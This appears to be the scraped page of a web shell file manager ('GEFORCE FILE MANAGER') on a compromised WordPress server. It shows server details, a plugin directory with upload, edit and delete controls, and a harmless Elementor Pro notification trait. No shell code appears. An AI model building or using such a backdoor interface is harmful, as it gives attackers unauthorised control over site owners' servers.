[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
core
/
notifications
/
traits
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 notifiable.php
678 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: notifiable.php
<?php namespace ElementorPro\Core\Notifications\Traits; use ElementorPro\Core\Notifications\Notification; use ElementorPro\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } trait Notifiable { /** * Notify a Model with a notification. * Syntactic sugar for sending notifications via the `Notifications_Manager`. * * Usage: * $model->notify( new User_Created_Notification( $new_user ) ); * * @param Notification $notification - Notification to send. * * @throws \Exception * * @return void */ public function notify( Notification $notification ) { Plugin::instance()->notifications->send( $notification, $this ); } }